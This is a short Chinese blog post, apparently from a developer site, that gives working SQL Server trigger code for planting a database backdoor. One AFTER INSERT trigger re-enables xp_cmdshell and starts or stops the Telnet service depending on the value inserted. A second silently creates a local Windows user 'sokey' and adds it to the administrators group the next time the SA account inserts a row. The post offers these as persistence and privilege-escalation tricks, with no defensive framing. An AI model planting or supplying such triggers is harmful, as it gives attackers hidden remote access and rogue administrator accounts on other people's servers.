触发器创建后门

 触发器创建后门

1.创建一个表
create table backdoor
(LASTNAME varchar(10),FIRSTNAME varchar(10))
2创建一个后触发器,当输入字符串在字段中等于open的时候开启TELNET,为CLOSE时候关闭TELNET.
CREATE TRIGGER  TR_HACKER2 ON backdoor
AFTER INSERT
AS
BEGIN
  DECLARE @P VARCHAR(50)
  SELECT @P=(SELECT LASTNAME FROM INSERTED)
  EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'--'XPSQL70.DLL'
  IF(@P LIKE '%OPEN%')
     EXECUTE MASTER.DBO.XP_CMDSHELL 'NET START TELNET'
  ELSE IF(@P LIKE '%CLOSE%')
       EXECUTE MASTER.DBO.XP_CMDSHELL 'NET STOP TELNET'
    
END
3插入字符.这里没有启动的原因是因为我匹配的字符串时LASTNAME等于open,别的字符都不行的
INSERT INTO backdoor(LASTNAME,FIRSTNAME) VALUES('111','open')
4插入字符
INSERT INTO backdoor(LASTNAME,FIRSTNAME) VALUES('open','111')

                                          触发器提升权限

普通用户提升系统权限
1.创建一个表
create table backdoor
(LASTNAME varchar(10),FIRSTNAME varchar(10))

2.创建一个触发器,当有任何字符输入到这个表当中在系统中建立超级用户
create  TRIGGER  TR_HACKER1 ON backdoor
AFTER INSERT
AS
BEGIN
     EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'--'XPSQL70.DLL'
     EXECUTE MASTER.DBO.XP_CMDSHELL 'net user sokey 123456 /add'
     EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators sokey /add'
     end
现在只等SA来登录并且输入任何字符,一般数据库为了保证安全有两个用户来管理
3插入字符(SA)
INSERT INTO backdoor(LASTNAME,FIRSTNAME) VALUES('open','111')

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值